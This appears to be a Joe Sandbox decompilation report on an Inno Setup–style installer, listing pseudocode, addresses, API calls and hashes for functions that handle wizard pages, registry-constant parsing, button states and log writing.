                                                          							_t267 =  *((intOrPtr*)(_t172 + 0x340)) - 0xc;
                                                          							if( *((intOrPtr*)(_t172 + 0x340)) == 0xc || E00463D98(_v8, _t267) + 1 == 0) {
                                                          								_t248 = 0;
                                                          							} else {
                                                          								_t248 = 1;
                                                          							}
                                                          							E00414C5C( *((intOrPtr*)(_v8 + 0x1bc)), _t218, _t248, _t256);
                                                          							E00414C5C( *((intOrPtr*)(_v8 + 0x1b8)), _t218, _t248 & 0xffffff00 |  *((intOrPtr*)(_v8 + 0x340)) != 0x0000000c, _t256);
                                                          							_t182 =  *((intOrPtr*)(_v8 + 0x340)) - 2;
                                                          							if(_t182 == 0) {
                                                          								E00414C98( *((intOrPtr*)(_v8 + 0x1b8)),  *((intOrPtr*)( *((intOrPtr*)(_v8 + 0x2a0)) + 0x101)));
                                                          							} else {
                                                          								if(_t182 == 9) {
                                                          									E00414C98( *((intOrPtr*)(_v8 + 0x1b8)), 0);
                                                          								} else {
                                                          									E00414C98( *((intOrPtr*)(_v8 + 0x1b8)), 1);
                                                          								}
                                                          							}
                                                          							E00414C5C( *((intOrPtr*)(_v8 + 0x1b4)), _t218, 0 | _t258 - E004626C0(_v8, _t215, 0xc, _t256, _t258) <= 0x00000000, _t256);
                                                          							if( *((intOrPtr*)(_v8 + 0x340)) != 0xc || ( *0x4ae180 & 0x00000020) != 0 &&  *0x4adfc0 == 0) {
                                                          								_t233 = 1;
                                                          							} else {
                                                          								_t233 = 0;
                                                          							}
                                                          							E00414C98( *((intOrPtr*)(_v8 + 0x1b4)), _t233);
                                                          						}
                                                          						if(E00418368( *((intOrPtr*)(_v8 + 0x1b4)), _t233) == 0) {
                                                          							_t216 = 1;
                                                          						} else {
                                                          							_t216 = 0;
                                                          						}
                                                          						_t217 = _t216;
                                                          						EnableMenuItem(GetSystemMenu(E004183F8(_v8), 0), 0xf060, _t216);
                                                          						_t234 =  *0x48db98; // 0x21d9084
                                                          						E00414D30( *((intOrPtr*)(_v8 + 0x1bc)), _t216, _t234, _t256, _t258);
                                                          						_t130 =  *((intOrPtr*)(_v8 + 0x340)) - 0xa;
                                                          						if(_t130 == 0) {
                                                          							_t235 =  *0x48dba8; // 0x21d90d8
                                                          							E00414D30( *((intOrPtr*)(_v8 + 0x1b8)), _t217, _t235, _t256, _t258);
                                                          							_t236 =  *0x48dba0; // 0x21d90b0
                                                          							E00414D30( *((intOrPtr*)(_v8 + 0x1b4)), _t217, _t236, _t256, _t258);
                                                          						} else {
                                                          							if(_t130 == 4) {
                                                          								_t244 =  *0x48dba4; // 0x21d90c4
                                                          								E00414D30( *((intOrPtr*)(_v8 + 0x1b8)), _t217, _t244, _t256, _t258);
                                                          								_t245 =  *0x48dba0; // 0x21d90b0
                                                          								E00414D30( *((intOrPtr*)(_v8 + 0x1b4)), _t217, _t245, _t256, _t258);
                                                          							} else {
                                                          								_t246 =  *0x48dbb0; // 0x21d9110
                                                          								E00414D30( *((intOrPtr*)(_v8 + 0x1b8)), _t217, _t246, _t256, _t258);
                                                          								_t247 =  *0x48dba0; // 0x21d90b0
                                                          								E00414D30( *((intOrPtr*)(_v8 + 0x1b4)), _t217, _t247, _t256, _t258);
                                                          							}
                                                          						}
                                                          						E00463D38(_v8, _t256);
                                                          						if( *((intOrPtr*)(_v8 + 0x340)) == 5) {
                                                          							_push(0x4640c5);
                                                          							_push( *[fs:eax]);
                                                          							 *[fs:eax] = _t260;
                                                          							E00414C98( *((intOrPtr*)(_v8 + 0x1b8)), E0046075C(_v8, _t217, _t256, _t258, _t281));
                                                          							_pop(_t243);
                                                          							 *[fs:eax] = _t243;
                                                          						}
                                                          						_push(_t259);
                                                          						_push(0x46411a);
                                                          						_push( *[fs:eax]);
                                                          						 *[fs:eax] = _t260;
                                                          						 *((intOrPtr*)( *((intOrPtr*)(E00462784(_v8,  *((intOrPtr*)(_v8 + 0x340)), _t256))) + 0x28))();
                                                          						_pop(_t239);
                                                          						 *[fs:eax] = _t239;
                                                          						_push(_t259);
                                                          						_push(0x464178);
                                                          						_push( *[fs:eax]);
                                                          						 *[fs:eax] = _t260;
                                                          						_t280 =  *0x4ae298;
                                                          						if( *0x4ae298 != 0) {
                                                          							_v16 =  *((intOrPtr*)(_v8 + 0x340));
                                                          							_v12 = 0;
                                                          							_t150 =  *0x4ae298; // 0x21edcfc
                                                          							E00487508(_t150,  &_v16, "CurPageChanged", _t280, _t281, 0, 0);
                                                          						}
                                                          						_pop(_t240);
                                                          						 *[fs:eax] = _t240;
                                                          						return 0;
                                                          					}
                                                          				}
                                                          			}


































                                                          0x00463de4
                                                          0x00463de4
                                                          0x00463ded
                                                          0x00463def
                                                          0x00463dfc
                                                          0x00463e0e
                                                          0x00463e13
                                                          0x00463e19
                                                          0x00463e1e
                                                          0x00463e2b
                                                          0x00463e2b
                                                          0x00463e3c
                                                          0x00463e43
                                                          0x00463e4f
                                                          0x00463e64
                                                          0x00463e64
                                                          0x00000000
                                                          0x00463e51
                                                          0x00463e5a
                                                          0x00463e5d
                                                          0x00000000
                                                          0x00463e68
                                                          0x00463e68
                                                          0x00463e6a
                                                          0x00463e73
                                                          0x00463e7c
                                                          0x00463f7d
                                                          0x00463f8d
                                                          0x00463f92
                                                          0x00463f92
                                                          0x00463f9d
                                                          0x00463e82
                                                          0x00463e82
                                                          0x00463e85
                                                          0x00463e8c
                                                          0x00463e99
                                                          0x00463e9d
                                                          0x00463e9d
                                                          0x00463e9d
                                                          0x00463ea8
                                                          0x00463ec3
                                                          0x00463ed1
                                                          0x00463ed4
                                                          0x00463ef5
                                                          0x00463ed6
                                                          0x00463ed9
                                                          0x00463f07
                                                          0x00463edb
                                                          0x00463f19
                                                          0x00463f19
                                                          0x00463ed9
                                                          0x00463f39
                                                          0x00463f48
                                                          0x00463f60
                                                          0x00463f5c
                                                          0x00463f5c
                                                          0x00463f5c
                                                          0x00463f6b
                                                          0x00463f6b
                                                          0x00463fb2
                                                          0x00463fb8
                                                          0x00463fb4
                                                          0x00463fb4
                                                          0x00463fb4
                                                          0x00463fbd
                                                          0x00463fd7
                                                          0x00463fdc
                                                          0x00463feb
                                                          0x00463ff9
                                                          0x00463ffc
                                                          0x00464005
                                                          0x00464014
                                                          0x00464019
                                                          0x00464028
                                                          0x00463ffe
                                                          0x00464001
                                                          0x0046402f
                                                          0x0046403e
                                                          0x00464043
                                                          0x00464052
                                                          0x00464003
                                                          0x00464059
                                                          0x00464068
                                                          0x0046406d
                                                          0x0046407c
                                                          0x0046407c
                                                          0x00464001
                                                          0x00464084
                                                          0x00464093
                                                          0x00464098
                                                          0x0046409d
                                                          0x004640a0
                                                          0x004640b6
                                                          0x004640bd
                                                          0x004640c0
                                                          0x004640c0
                                                          0x004640ee
                                                          0x004640ef
                                                          0x004640f4
                                                          0x004640f7
                                                          0x0046410d
                                                          0x00464112
                                                          0x00464115
                                                          0x00464133
                                                          0x00464134
                                                          0x00464139
                                                          0x0046413c
                                                          0x0046413f
                                                          0x00464146
                                                          0x00464155
                                                          0x00464158
                                                          0x00464164
                                                          0x00464169
                                                          0x00464169
                                                          0x00464170
                                                          0x00464173
                                                          0x00000000
                                                          0x00464173
                                                          0x00463e5d

                                                          APIs
                                                          • GetSystemMenu.USER32(00000000,00000000,0000F060,00000001), ref: 00463FD1
                                                          • EnableMenuItem.USER32 ref: 00463FD7
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Menu$EnableItemSystem
                                                          • String ID: CurPageChanged
                                                          • API String ID: 3692539535-2490978513
                                                          • Opcode ID: c938ea6e3de9c821c2a92deed243876a5f3356c951b1779cff734310c62aab9d
                                                          • Instruction ID: 0d8d21519d013d293257eb644842f686bf5c51bebf2a0438a93b3d35f932186e
                                                          • Opcode Fuzzy Hash: c938ea6e3de9c821c2a92deed243876a5f3356c951b1779cff734310c62aab9d
                                                          • Instruction Fuzzy Hash: FFA14934B00244EFCB05DF69D585AAE73F5AF89304F2641B6F8049B362E739AE41DB49
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 81%
                                                          			E0046FA68(char __eax, intOrPtr* __ebx, intOrPtr __edx, char __edi, void* __esi, void* __eflags, intOrPtr _a4) {
                                                          				char _v8;
                                                          				intOrPtr _v12;
                                                          				char _v16;
                                                          				char _v20;
                                                          				char _v24;
                                                          				char _v28;
                                                          				char _v29;
                                                          				intOrPtr _v36;
                                                          				void* _v40;
                                                          				char _v44;
                                                          				char _t104;
                                                          				char _t164;
                                                          				char _t165;
                                                          				void* _t174;
                                                          				intOrPtr _t194;
                                                          				void* _t217;
                                                          				void* _t218;
                                                          				void* _t222;
                                                          				void* _t236;
                                                          				void* _t240;
                                                          
                                                          				_t215 = __edi;
                                                          				_t173 = __ebx;
                                                          				_push(__ebx);
                                                          				_push(__esi);
                                                          				_push(__edi);
                                                          				_v44 = 0;
                                                          				_v16 = 0;
                                                          				_v20 = 0;
                                                          				_v24 = 0;
                                                          				_v28 = 0;
                                                          				_v12 = __edx;
                                                          				_v8 = __eax;
                                                          				E00403870(_v8);
                                                          				_push(_t222);
                                                          				_push(0x46fd05);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t222 + 0xffffffd8;
                                                          				E00403900( &_v8, 4, 1);
                                                          				_t217 = E0042D7FC(0x5c, 4, _v8);
                                                          				if(_t217 == 0) {
                                                          					L24:
                                                          					E00451AFC("Failed to parse \"reg\" constant", _t173, _t215, _t217, _t236);
                                                          					L25:
                                                          					_pop(_t194);
                                                          					 *[fs:eax] = _t194;
                                                          					_push(E0046FD0C);
                                                          					E00403548( &_v44);
                                                          					E00403568( &_v28, 4);
                                                          					return E00403548( &_v8);
                                                          				}
                                                          				E004038C0(_v8, _t217 - 1, 1,  &_v16);
                                                          				if(_v16 == 0) {
                                                          					goto L24;
                                                          				} else {
                                                          					_t104 =  *0x48cb0c; // 0x1
                                                          					_v29 = _t104;
                                                          					_t174 = E004036BC(_v16);
                                                          					if(_t174 >= 2) {
                                                          						if( *((char*)(_v16 + _t174 - 2)) != 0x33 ||  *((char*)(_v16 + _t174 - 1)) != 0x32) {
                                                          							_t164 = _v16;
                                                          							__eflags =  *((char*)(_t164 + _t174 - 2)) - 0x36;
                                                          							if( *((char*)(_t164 + _t174 - 2)) == 0x36) {
                                                          								_t165 = _v16;
                                                          								__eflags =  *((char*)(_t165 + _t174 - 1)) - 0x34;
                                                          								if( *((char*)(_t165 + _t174 - 1)) == 0x34) {
                                                          									__eflags =  *0x4ae250;
                                                          									if(__eflags == 0) {
                                                          										E00451AFC("Cannot access a 64-bit key in a \"reg\" constant on this version of Windows", _t174, _t215, _t217, __eflags);
                                                          									}
                                                          									_v29 = 2;
                                                          									__eflags = _t174 - 2;
                                                          									E004039EC( &_v16, _t174 - 2);
                                                          								}
                                                          							}
                                                          						} else {
                                                          							_v29 = 1;
                                                          							E004039EC( &_v16, _t174 - 2);
                                                          						}
                                                          					}
                                                          					_v36 = 0;
                                                          					_t215 = 5;
                                                          					_t173 = 0x48cb14;
                                                          					while(E00406B28( *_t173, _v16) != 0) {
                                                          						_t173 = _t173 + 8;
                                                          						_t215 = _t215 - 1;
                                                          						__eflags = _t215;
                                                          						if(__eflags != 0) {
                                                          							continue;
                                                          						}
                                                          						L15:
                                                          						if(_v36 == 0) {
                                                          							goto L24;
                                                          						}
                                                          						_t38 = _t217 + 1; // 0x1
                                                          						E004038C0(_v8, 0x7fffffff, _t38,  &_v16);
                                                          						_t218 = E0042D7FC(0x7c, 0x7fffffff, _v16);
                                                          						if(_t218 == 0) {
                                                          							_t218 = E004036BC(_v16) + 1;
                                                          						}
                                                          						_t43 = _t218 + 1; // 0x2
                                                          						E004038C0(_v16, 0x7fffffff, _t43,  &_v28);
                                                          						E004039EC( &_v16, _t218 - 1);
                                                          						_t217 = E0042D7FC(0x2c, 0x7fffffff, _v16);
                                                          						if(_t217 == 0) {
                                                          							goto L24;
                                                          						} else {
                                                          							E004038C0(_v16, _t217 - 1, 1,  &_v20);
                                                          							_t50 = _t217 + 1; // 0x1
                                                          							E004038C0(_v16, 0x7fffffff, _t50,  &_v24);
                                                          							E0042D6F8( &_v20, _t173, _t215, _t217);
                                                          							_t236 = 0x2c;
                                                          							if(0x2c == 0) {
                                                          								goto L24;
                                                          							}
                                                          							E0042D6F8( &_v24, _t173, _t215, _t217);
                                                          							_t236 = 0x2c;
                                                          							if(0x2c == 0 || E0042D6F8( &_v28, _t173, _t215, _t217) == 0) {
                                                          								goto L24;
                                                          							} else {
                                                          								E00471818(_v28, _t173,  *((intOrPtr*)(_a4 - 8)),  *((intOrPtr*)(_a4 - 4)), _t215, _t217, _t240, _v12);
                                                          								E00471818(_v20, _t173,  *((intOrPtr*)(_a4 - 8)),  *((intOrPtr*)(_a4 - 4)), _t215, _t217, _t240,  &_v44);
                                                          								if(E0042DD88(_v29, E00403880(_v44), _v36,  &_v40, 1, 0) == 0) {
                                                          									E00471818(_v24, _t173,  *((intOrPtr*)(_a4 - 8)),  *((intOrPtr*)(_a4 - 4)), _t215, _t217, _t240,  &_v44);
                                                          									E00403880(_v44);
                                                          									E0042DCB8();
                                                          									RegCloseKey(_v40);
                                                          								}
                                                          								goto L25;
                                                          							}
                                                          						}
                                                          					}
                                                          					_t34 = _t173 + 4; // 0x80000000
                                                          					_v36 =  *_t34;
                                                          					goto L15;
                                                          				}
                                                          			}























                                                          0x0046fa68
                                                          0x0046fa68
                                                          0x0046fa6e
                                                          0x0046fa6f
                                                          0x0046fa70
                                                          0x0046fa73
                                                          0x0046fa76
                                                          0x0046fa79
                                                          0x0046fa7c
                                                          0x0046fa7f
                                                          0x0046fa82
                                                          0x0046fa85
                                                          0x0046fa8b
                                                          0x0046fa92
                                                          0x0046fa93
                                                          0x0046fa98
                                                          0x0046fa9b
                                                          0x0046faab
                                                          0x0046faba
                                                          0x0046fabe
                                                          0x0046fcd0
                                                          0x0046fcd5
                                                          0x0046fcda
                                                          0x0046fcdc
                                                          0x0046fcdf
                                                          0x0046fce2
                                                          0x0046fcea
                                                          0x0046fcf7
                                                          0x0046fd04
                                                          0x0046fd04
                                                          0x0046fad3
                                                          0x0046fadc
                                                          0x00000000
                                                          0x0046fae2
                                                          0x0046fae2
                                                          0x0046fae7
                                                          0x0046faf2
                                                          0x0046faf7
                                                          0x0046fb01
                                                          0x0046fb20
                                                          0x0046fb23
                                                          0x0046fb28
                                                          0x0046fb2a
                                                          0x0046fb2d
                                                          0x0046fb32
                                                          0x0046fb34
                                                          0x0046fb3b
                                                          0x0046fb42
                                                          0x0046fb42
                                                          0x0046fb47
                                                          0x0046fb4d
                                                          0x0046fb53
                                                          0x0046fb53
                                                          0x0046fb32
                                                          0x0046fb0d
                                                          0x0046fb0d
                                                          0x0046fb19
                                                          0x0046fb19
                                                          0x0046fb01
                                                          0x0046fb5a
                                                          0x0046fb5d
                                                          0x0046fb62
                                                          0x0046fb67
                                                          0x0046fb7d
                                                          0x0046fb80
                                                          0x0046fb80
                                                          0x0046fb81
                                                          0x00000000
                                                          0x00000000
                                                          0x0046fb83
                                                          0x0046fb87
                                                          0x00000000
                                                          0x00000000
                                                          0x0046fb91
                                                          0x0046fb9c
                                                          0x0046fbab
                                                          0x0046fbaf
                                                          0x0046fbbb
                                                          0x0046fbbb
                                                          0x0046fbc0
                                                          0x0046fbcb
                                                          0x0046fbd6
                                                          0x0046fbe5
                                                          0x0046fbe9
                                                          0x00000000
                                                          0x0046fbef
                                                          0x0046fbfe
                                                          0x0046fc07
                                                          0x0046fc12
                                                          0x0046fc1a
                                                          0x0046fc1f
                                                          0x0046fc21
                                                          0x00000000
                                                          0x00000000
                                                          0x0046fc2a
                                                          0x0046fc2f
                                                          0x0046fc31
                                                          0x00000000
                                                          0x0046fc47
                                                          0x0046fc5a
                                                          0x0046fc7a
                                                          0x0046fc96
                                                          0x0046fcab
                                                          0x0046fcb3
                                                          0x0046fcc0
                                                          0x0046fcc9
                                                          0x0046fcc9
                                                          0x00000000
                                                          0x0046fc96
                                                          0x0046fc31
                                                          0x0046fbe9
                                                          0x0046fb75
                                                          0x0046fb78
                                                          0x00000000
                                                          0x0046fb78

                                                          APIs
                                                          • RegCloseKey.ADVAPI32(?,?,?,?,00000001,00000000,00000000,0047121F,?,00000000,00000000,00000001,00000000,0046FD05,?,00000000), ref: 0046FCC9
                                                          Strings
                                                          • Failed to parse "reg" constant, xrefs: 0046FCD0
                                                          • Cannot access a 64-bit key in a "reg" constant on this version of Windows, xrefs: 0046FB3D
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Close
                                                          • String ID: Cannot access a 64-bit key in a "reg" constant on this version of Windows$Failed to parse "reg" constant
                                                          • API String ID: 3535843008-1938159461
                                                          • Opcode ID: 3de25c626543f3d794d275ebe9d0983061f9d9b8cc766ddb64318c591b9b6a09
                                                          • Instruction ID: 5325d3ab1ff744eab611d78bb8042643efe848bd449e6a460418d48f1ed742bf
                                                          • Opcode Fuzzy Hash: 3de25c626543f3d794d275ebe9d0983061f9d9b8cc766ddb64318c591b9b6a09
                                                          • Instruction Fuzzy Hash: 83813275E001089FCB10EF99D481ADEB7F9EF48354F1081BAE854A7395D738AE09CB99
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 79%
                                                          			E00455814(intOrPtr __eax, void* __ebx, void* __edi, void* __esi) {
                                                          				intOrPtr _v8;
                                                          				struct _SYSTEMTIME _v24;
                                                          				char _v28;
                                                          				char _v32;
                                                          				signed int _v36;
                                                          				char _v40;
                                                          				signed int _v44;
                                                          				char _v48;
                                                          				signed int _v52;
                                                          				char _v56;
                                                          				signed int _v60;
                                                          				char _v64;
                                                          				signed int _v68;
                                                          				char _v72;
                                                          				signed int _v76;
                                                          				void* _t68;
                                                          				intOrPtr _t70;
                                                          				intOrPtr _t74;
                                                          				void* _t79;
                                                          				intOrPtr _t92;
                                                          				intOrPtr _t94;
                                                          				void* _t98;
                                                          				void* _t100;
                                                          				void* _t102;
                                                          				void* _t103;
                                                          				intOrPtr _t104;
                                                          
                                                          				_t102 = _t103;
                                                          				_t104 = _t103 + 0xffffffb8;
                                                          				_v28 = 0;
                                                          				_v8 = __eax;
                                                          				_push(_t102);
                                                          				_push(0x45599b);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t104;
                                                          				if( *0x48df04 != 0) {
                                                          					GetLocalTime( &_v24);
                                                          					_push(_t102);
                                                          					_push(0x45593e);
                                                          					_push( *[fs:eax]);
                                                          					 *[fs:eax] = _t104;
                                                          					_v76 = _v24.wYear & 0x0000ffff;
                                                          					_v72 = 0;
                                                          					_v68 = _v24.wMonth & 0x0000ffff;
                                                          					_v64 = 0;
                                                          					_v60 = _v24.wDay & 0x0000ffff;
                                                          					_v56 = 0;
                                                          					_v52 = _v24.wHour & 0x0000ffff;
                                                          					_v48 = 0;
                                                          					_v44 = _v24.wMinute & 0x0000ffff;
                                                          					_v40 = 0;
                                                          					_v36 = _v24.wSecond & 0x0000ffff;
                                                          					_v32 = 0;
                                                          					E00407B08("%.4u-%.2u-%.2u %.2u:%.2u:%.2u   ", 5,  &_v76,  &_v28);
                                                          					E004557F8(_v28);
                                                          					_t98 = 1;
                                                          					_t100 = E004036BC(_v8);
                                                          					if(_t100 > 0) {
                                                          						_t79 = 1;
                                                          						do {
                                                          							if( *((char*)(_v8 + _t79 - 1)) == 0xa) {
                                                          								_t31 = _t98 - 1; // 0x455fd9
                                                          								_t74 =  *0x48df04; // 0x0
                                                          								E0045023C(_t74, _t79 - _t98 + 1, _v8 + _t31, _t102);
                                                          								_t32 = _t79 + 1; // 0x2
                                                          								_t98 = _t32;
                                                          								E004557F8("                      ");
                                                          							}
                                                          							_t79 = _t79 + 1;
                                                          							_t100 = _t100 - 1;
                                                          						} while (_t100 != 0);
                                                          					}
                                                          					if(_t98 <= E004036BC(_v8)) {
                                                          						_t68 = E004036BC(_v8);
                                                          						_t37 = _t98 - 1; // 0x455fd9
                                                          						_t70 =  *0x48df04; // 0x0
                                                          						E0045023C(_t70, _t68 - _t98 + 1, _v8 + _t37, _t102);
                                                          					}
                                                          					E004557F8(0x455a00);
                                                          					_pop(_t94);
                                                          					 *[fs:eax] = _t94;
                                                          				}
                                                          				if( *0x48deec != 0) {
                                                          					E004551AC(_v8);
                                                          				}
                                                          				_pop(_t92);
                                                          				 *[fs:eax] = _t92;
                                                          				_push(E004559A2);
                                                          				return E00403548( &_v28);
                                                          			}





























                                                          0x00455815
                                                          0x00455817
                                                          0x0045581f
                                                          0x00455822
                                                          0x00455827
                                                          0x00455828
                                                          0x0045582d
                                                          0x00455830
                                                          0x0045583a
                                                          0x00455844
                                                          0x0045584b
                                                          0x0045584c
                                                          0x00455851
                                                          0x00455854
                                                          0x0045585f
                                                          0x00455862
                                                          0x0045586a
                                                          0x0045586d
                                                          0x00455875
                                                          0x00455878
                                                          0x00455880
                                                          0x00455883
                                                          0x0045588b
                                                          0x0045588e
                                                          0x00455896
                                                          0x00455899
                                                          0x004558aa
                                                          0x004558b2
                                                          0x004558b7
                                                          0x004558c4
                                                          0x004558c8
                                                          0x004558ca
                                                          0x004558cf
                                                          0x004558d7
                                                          0x004558e1
                                                          0x004558e5
                                                          0x004558ea
                                                          0x004558ef
                                                          0x004558ef
                                                          0x004558f7
                                                          0x004558f7
                                                          0x004558fc
                                                          0x004558fd
                                                          0x004558fd
                                                          0x004558cf
                                                          0x0045590a
                                                          0x0045590f
                                                          0x0045591c
                                                          0x00455920
                                                          0x00455925
                                                          0x00455925
                                                          0x0045592f
                                                          0x00455936
                                                          0x00455939
                                                          0x00455939
                                                          0x0045597b
                                                          0x00455980
                                                          0x00455980
                                                          0x00455987
                                                          0x0045598a
                                                          0x0045598d
                                                          0x0045599a

                                                          APIs
                                                          • GetLocalTime.KERNEL32(?,00000000,0045599B,?,?,0048DF10,00000000), ref: 00455844
                                                            • Part of subcall function 0045023C: WriteFile.KERNEL32(?,?,00000000,00450496,00000000,00000000,?,?,?,00450496,00000000,00452595,?,0048B23D,00000000,00452636), ref: 00450253
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: FileLocalTimeWrite
                                                          • String ID: $%.4u-%.2u-%.2u %.2u:%.2u:%.2u
                                                          • API String ID: 1093383541-3002923774
                                                          • Opcode ID: c703622674bd0c113761a597bc2c5e92d2a5121707254f1c2db8fe7444bd7fbd
                                                          • Instruction ID: 2327f4e4ef2f4ef7558c0ed526d5bd000cce1192059452b37d88c10740b68000
                                                          • Opcode Fuzzy Hash: c703622674bd0c113761a597bc2c5e92d2a5121707254f1c2db8fe7444bd7fbd
                                                          • Instruction Fuzzy Hash: 8B418CB0D04648DFDB11DBA9C8617BEBBF4EB09315F50056AF804A7292D73D9E48CB68
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 72%
                                                          			E004658B0(intOrPtr __eax, void* __ebx, void* __ecx, void* __edi, void* __esi) {
                                                          				intOrPtr _v8;
                                                          				intOrPtr _v12;
                                                          				char _v16;
                                                          				void* _t30;
                                                          				intOrPtr _t43;
                                                          				intOrPtr _t45;
                                                          				intOrPtr _t65;
                                                          				void* _t70;
                                                          				void* _t71;
                                                          				intOrPtr _t72;
                                                          
                                                          				_t68 = __esi;
                                                          				_t67 = __edi;
                                                          				_t60 = __ecx;
                                                          				_t59 = __ebx;
                                                          				_t70 = _t71;
                                                          				_t72 = _t71 + 0xfffffff4;
                                                          				_push(__ebx);
                                                          				_push(__esi);
                                                          				_push(__edi);
                                                          				_t64 = 0;
                                                          				_v16 = 0;
                                                          				_v8 = __eax;
                                                          				_push(_t70);
                                                          				_push(0x4659f9);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t72;
                                                          				L1:
                                                          				while(1) {
                                                          					do {
                                                          						if( *((intOrPtr*)(_v8 + 0x340)) == 0xb) {
                                                          							E004603D4(0x78,  &_v16);
                                                          							_t60 = 3;
                                                          							_t64 = 0;
                                                          							E00473BCC(_v16, _t59, 3, 0, _t67, _t68, 1, 1, 0);
                                                          							E00408DC4();
                                                          						}
                                                          						_v12 =  *((intOrPtr*)(_v8 + 0x340));
                                                          						_push(_t70);
                                                          						_push(0x465944);
                                                          						_push( *[fs:eax]);
                                                          						 *[fs:eax] = _t72;
                                                          						_t30 = E00418368( *((intOrPtr*)(_v8 + 0x1b8)), _t64);
                                                          						_t76 = _t30;
                                                          						if(_t30 != 0) {
                                                          							_t59 = 0xfff5;
                                                          							E00402D48( *((intOrPtr*)(_v8 + 0x1b8)), 0xfff5, _t60, _t76);
                                                          						}
                                                          						_pop(_t64);
                                                          						_pop(_t60);
                                                          						 *[fs:eax] = _t64;
                                                          						if( *((char*)(_v8 + 0x33c)) == 0) {
                                                          							goto L7;
                                                          						}
                                                          						L11:
                                                          						__eflags = 0;
                                                          						_pop(_t65);
                                                          						 *[fs:eax] = _t65;
                                                          						_push(E00465A00);
                                                          						return E00403548( &_v16);
                                                          						L7:
                                                          					} while ( *((intOrPtr*)(_v8 + 0x340)) != _v12);
                                                          					if( *((char*)( *0x4adf90 + 0x1b6)) > 1) {
                                                          						E00455814("Failed to proceed to next wizard page; showing wizard.", _t59, _t67, _t68);
                                                          						E00473350(1);
                                                          						_t43 =  *0x48d628; // 0x21c2410
                                                          						E004243F4(_t43);
                                                          						_t45 =  *0x48d628; // 0x21c2410
                                                          						SetActiveWindow( *(_t45 + 0x20));
                                                          						E0042301C( *0x4adf64);
                                                          					} else {
                                                          						E00455814("Failed to proceed to next wizard page; aborting.", _t59, _t67, _t68);
                                                          						E00408DC4();
                                                          						continue;
                                                          					}
                                                          					goto L11;
                                                          				}
                                                          			}













                                                          0x004658b0
                                                          0x004658b0
                                                          0x004658b0
                                                          0x004658b0
                                                          0x004658b1
                                                          0x004658b3
                                                          0x004658b6
                                                          0x004658b7
                                                          0x004658b8
                                                          0x004658b9
                                                          0x004658bb
                                                          0x004658be
                                                          0x004658c3
                                                          0x004658c4
                                                          0x004658c9
                                                          0x004658cc
                                                          0x00000000
                                                          0x004658cf
                                                          0x004658cf
                                                          0x004658d9
                                                          0x004658e6
                                                          0x004658ee
                                                          0x004658f0
                                                          0x004658f2
                                                          0x004658f7
                                                          0x004658f7
                                                          0x00465905
                                                          0x0046590a
                                                          0x0046590b
                                                          0x00465910
                                                          0x00465913
                                                          0x0046591f
                                                          0x00465924
                                                          0x00465926
                                                          0x00465931
                                                          0x00465935
                                                          0x00465935
                                                          0x0046593c
                                                          0x0046593e
                                                          0x0046593f
                                                          0x0046597a
                                                          0x00000000
                                                          0x00000000
                                                          0x004659e3
                                                          0x004659e3
                                                          0x004659e5
                                                          0x004659e8
                                                          0x004659eb
                                                          0x004659f8
                                                          0x0046597c
                                                          0x00465985
                                                          0x0046599a
                                                          0x004659b5
                                                          0x004659bc
                                                          0x004659c1
                                                          0x004659c6
                                                          0x004659cb
                                                          0x004659d4
                                                          0x004659de
                                                          0x0046599c
                                                          0x004659a1
                                                          0x004659a6
                                                          0x00000000
                                                          0x004659a6
                                                          0x00000000
                                                          0x0046599a

                                                          Strings
                                                          • Failed to proceed to next wizard page; aborting., xrefs: 0046599C
                                                          • Failed to proceed to next wizard page; showing wizard., xrefs: 004659B0
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
